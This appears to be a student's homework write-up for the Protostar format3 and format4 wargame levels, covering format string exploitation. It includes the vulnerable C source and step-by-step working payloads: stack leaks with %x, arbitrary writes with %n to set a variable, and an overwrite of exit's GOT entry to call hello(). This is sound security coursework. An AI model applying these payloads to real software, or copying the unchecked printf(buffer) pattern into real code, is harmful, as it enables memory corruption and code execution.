Homework 4

Ng Tze Kean
Student number: 721370290002

April 14, 2024

Format 3

Problem

We can see that the problem is similar to format 2, but this time we need to carefully modify the variable in memory such that in the compare statement we have the required 4 bytes value.

```
objdump -t format3 | grep target
080496f4 g     O .bss    00000004               target
```

Similarly we find the memory location of target again. We now will begin injecting some string format to test the output of the program.

Idea and Attack process

```
python -c "print 'AAAA' + '%x.'*15" | ./format3
AAAA0.bffffad0.b7fd7ff4.0.0.bffffcd8.804849d.bffffad0.200.b7fd8420.bffffb14
    .41414141.252e7825.78252e78.2e78252e.
target is 00000000 :(
```

We run the above code to first find out where in memory does the input reside in. Having found the location, we will now inject the memory location of target and we will also modify the format specifier which resides at the location of the string.

```
python -c "print '\xf4\x96\x04\x08' + '%x.'*11 + '%n'" | ./format3
0.bffffad0.b7fd7ff4.0.0.bffffcd8.804849d.bffffad0.200.b7fd8420.bffffb14.
target is 0000004c :(
```

Now that we can see there is some modifications to the target variable, we want to write a specific value of `0x01025544` using this pointer. This a 4byte value to be written. We can conclude that we have to write this value to 4 memory location from `0x080496f4` to `0x080496f7`.
Searching online, we can see that it is possible to modify the values of multiple memory location using the following line of code.

```
python -c "print '\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08'
    + '%x.'*11 + '%n%n%n%n'" | ./format3
>>>target is 58585858 :(
```

Now that we are able to confirm that we can modify the target variable, we will try to inject the values that we want to write to these memory location. We structure the attack such that it is based on groups of [Value, Address]. We repeat this structure for the 4 bytes that we want to write, to inject the value we use `%u` as a mechanism to obtain the needed value and `%n` to inject the value into the memory location. We refer to the short python calculate in this website, url: https://xavibel.com/2020/11/22/protostar-format-strings-level-3/ to obtain the offset needed. The following python code is as taken from the website.

```
def calculate(to_write, written):
  to_write += 0x100
  written %= 0x100
  padding = (to_write - written) % 0x100
  if padding < 10:
      padding += 0x100
  return padding
```

Computing the values, we are able to create our format attack string.

```
python -c "print '\x01\x01\x01\x01\xf4\x96\x04\x08\x01\x01\x01\x01\xf5\x96\x04\x08\
    x01\x01\x01\x01\xf6\x96\x04\x08\x01\x01\x01\x01\xf7\x96\x04\x08' + '%x.'*11 +
    '%220u%n%17u%n%173u%n%255u%n'" | ./format3
>>>0.bffffad0.b7fd7ff4.0.0.bffffcd8.804849d.bffffad0.200.b7fd8420.bffffb14...
>>>you have modified the target :)
```

Having a successful exploit, we want to find out if it is possible to work through another way. We take a look at this format of a string specification first. `%60u%4\$08n`. Let us break down the meaning of this format. The first `%60u` specifies 60 characters. The `4\$` specifies the 4th position of the `%x` that we have been manipulating. This time however, we use `08n` to specify the 8 hexa value that we are modifying. Following that logic, we will create our attack string such that we do not use an external script. We line the attack string with the addresses we want to modify first, this will form a total of 16 bytes. We compute the remainder of offset that we need to amend in the `%u%n` combination.

```
python -c "print '\xf4\x96\x04\x08' + '\xf5\x96\x04\x08' + '\xf6\x96\x04\x08' + '\
    xf7\x96\x04\x08' + '%52u%12\$08n' + '%17u%13\$08n' + '%173u%14\$08n'" | ./
    format3
>>>0       3221222880...3086843892...
>>>you have modified the target :)
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
```

Format 4

Problem

We look at our source code and see that the end goal is to call the `hello()` function. We see that there is a exit call in `vuln` which we will try to exploit. There is a concept called Global Offset Table (GOT) which we will attempt.

```
objdump -TR format4 | grep exit
>>>00000000      DF *UND*  00000000  GLIBC_2.0   _exit
>>>00000000      DF *UND*  00000000  GLIBC_2.0   exit
>>>08049718 R_386_JUMP_SLOT   _exit
>>>08049724 R_386_JUMP_SLOT   exit

objdump -t format4 | grep hello
>>>080484b4 g     F .text  0000001e              hello
```

Calling objdump, we locate the address of `exit` call to be at `08049724` and the target function `hello` to be at `080484b4`.

Idea and Attack process

We follow the same attack idea as before. We first need to locate the input string that resides on the stack. Which we will see is 3 offset.

```
python -c "print 'AAAA' + '%x.'*10" | ./format4
AAAA200.b7fd8420.bffffb14.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2
    e78252e.
```

Now that we have the offset, we will follow how we modified the address location in format3. The idea is to use the same `[Value, Address]` pattern with the needed value offset to inject into the address location. We use the same python code that we used to compute the needed offset. We then place the offset into the end os the format string followed by the "%n" which will write the value to memory.

```
python -c "print '\x01\x01\x01\x01\x24\x97\x04\x08\x01\x01\x01\x01\x25\x97\x04
  \x08\x01\x01\x01\x01\x26\x97\x04\x08\x01\x01\x01\x01\x27\x97\x04\x08'
  + '%x.'*3 + '%126u%n%208u%n%128u%n%260u%n'" | ./format4
$%&'200.b7fd8420.bffffb14....
code execution redirected! you win
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);
}

int main(int argc, char **argv)
{
  vuln();
}
```